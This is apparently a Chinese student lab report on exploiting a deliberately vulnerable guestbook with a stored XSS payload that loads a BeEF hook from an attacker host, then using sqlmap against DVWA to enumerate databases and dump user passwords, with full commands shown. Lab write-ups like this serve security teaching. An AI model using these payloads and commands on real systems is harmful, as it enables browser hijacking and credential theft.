XSS與SQL隱碼攻擊

圓咔k發表於2020-12-25

XSS與SQL隱碼攻擊

實驗目的

瞭解什麼是XSS;瞭解XSS攻擊實施,理解防禦XSS攻擊的方法;瞭解SQL隱碼攻擊的基本原理;掌握PHP指令碼訪問MySQL資料庫的基本方法;掌握程式設計中避免出現SQL隱碼攻擊漏洞的基本方法;掌握網站配置。

系統環境

Kali Linux 2、Windows Server

網路環境

交換網路結構

實驗工具

Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA

實驗步驟

XSS部分

利用Beef劫持被攻擊者客戶端瀏覽器。
實驗環境搭建。
角色:留言簿網站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻擊者:Kali(使用beEF生成惡意程式碼,並通過留言方式提交到留言簿網站);
被攻擊者:訪問留言簿網站,瀏覽器被劫持。

首先搭建留言簿網站

在這裡插入圖片描述

1、利用AWVS掃描留言簿網站,發現其存在XSS漏洞

在這裡插入圖片描述

掃描結果發現error.asp和add.asp都存在XSS漏洞:

在這裡插入圖片描述

2、Kali使用beef生成惡意程式碼

Kali中開啟beef

在這裡插入圖片描述

瀏覽器開啟連結:http://127.0.0:3000/ui/panel並登陸,賬號密碼均為beef

在這裡插入圖片描述

> 按照格式生成惡意程式碼:<script src="http://192.168.248.138:3000/hook.js"></script>

3、訪問http://留言簿網站/message.asp;將以下惡意程式碼寫入網站留言板

在kali中訪問留言簿網站並寫入惡意程式碼:

在這裡插入圖片描述

提交後可以看到這個頁面:

在這裡插入圖片描述

此時可以看見beef中的變化:

在這裡插入圖片描述

3、管理員登入login.htm,賬號密碼均為admin,稽核使用者留言。只要客戶端訪問這個伺服器的留言板,客戶端瀏覽器就會被劫持,指定被劫持網站為學校主頁,將你在beff中的配置截圖。

將劫持網站改為學校主頁:

在這裡插入圖片描述

之後再訪問留言簿網站可以看到網站跳轉為學校主頁:

在這裡插入圖片描述

5、回答問題:實驗中XSS攻擊屬於哪種型別?
儲存型XSS

XQL注入部分

下頁還有SQL隱碼攻擊,請繼續!
SQL隱碼攻擊部分:DVWA+SQLmap+Mysql注入實戰

實驗環境搭建。啟動Metasploitable2虛擬機器。
1、注入點發現。首先肯定是要判斷是否有注入漏洞。

首先將安全級別設為low:

在這裡插入圖片描述

在輸入框輸入1,返回 ID: 1 First name: admin Surname: admin 返回正常;

在這裡插入圖片描述

再次輸入1’,報錯,返回:
在這裡插入圖片描述

此時可以斷定有SQL隱碼攻擊漏洞。
得到url:http://192.168.43.104/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#

下面利用SQLMap進行注入攻擊。
在這裡插入圖片描述

2、列舉當前使用的資料庫名稱和使用者名稱。

獲取cookie值:F12

在這裡插入圖片描述

輸入的命令:

sqlmap -u
“http://192.168.43.104/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#”
–cookie=‘security=low; PHPSESSID=26152ac71760ec5d8a35195f1558adf3’ -b --current-db --current-user

sqlmap輸出:
在這裡插入圖片描述

3、列舉資料庫使用者名稱和密碼

在這裡插入圖片描述

輸入的命令: sqlmap -u
“http://192.168.43.104/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#”
–cookie=‘security=low; PHPSESSID=26152ac71760ec5d8a35195f1558adf3’ --users --password

Sqlmap輸出:
在這裡插入圖片描述

4、列舉資料庫

輸入的命令: sqlmap -u
“http://192.168.43.104/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#”
–cookie=‘security=low; PHPSESSID=26152ac71760ec5d8a35195f1558adf3’ --dbs
–dbs

Sqlmap輸出:
在這裡插入圖片描述

5、列舉資料庫和指定資料庫的資料表

-D 資料庫名:指定資料庫
–tables:列舉指定資料庫的所有表
輸入的命令: sqlmap -u “http://192.168.43.104/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#”
–cookie=‘security=low; PHPSESSID=26152ac71760ec5d8a35195f1558adf3’ -D dvwa --tables

Sqlmap輸出:
在這裡插入圖片描述

6、獲取指定資料庫和表中所有列的資訊

-D:指定的資料庫
-T:指定資料庫中的資料表
–columns:獲取列的資訊
輸入的命令: sqlmap -u “http://192.168.43.104/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#”
–cookie=‘security=low; PHPSESSID=26152ac71760ec5d8a35195f1558adf3’ -D dvwa -T users --columns

Sqlmap輸出:

在這裡插入圖片描述

7、列舉指定資料表中的所有使用者名稱與密碼,並down到本地。

-C:列舉資料表中的列
–dump:儲存資料表項
輸入的命令: sqlmap -u “http://192.168.43.104/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#”
–cookie=‘security=low; PHPSESSID=26152ac71760ec5d8a35195f1558adf3’ -D dvwa -T users -C user,password --dump

Sqlmap輸出:
在這裡插入圖片描述

相關文章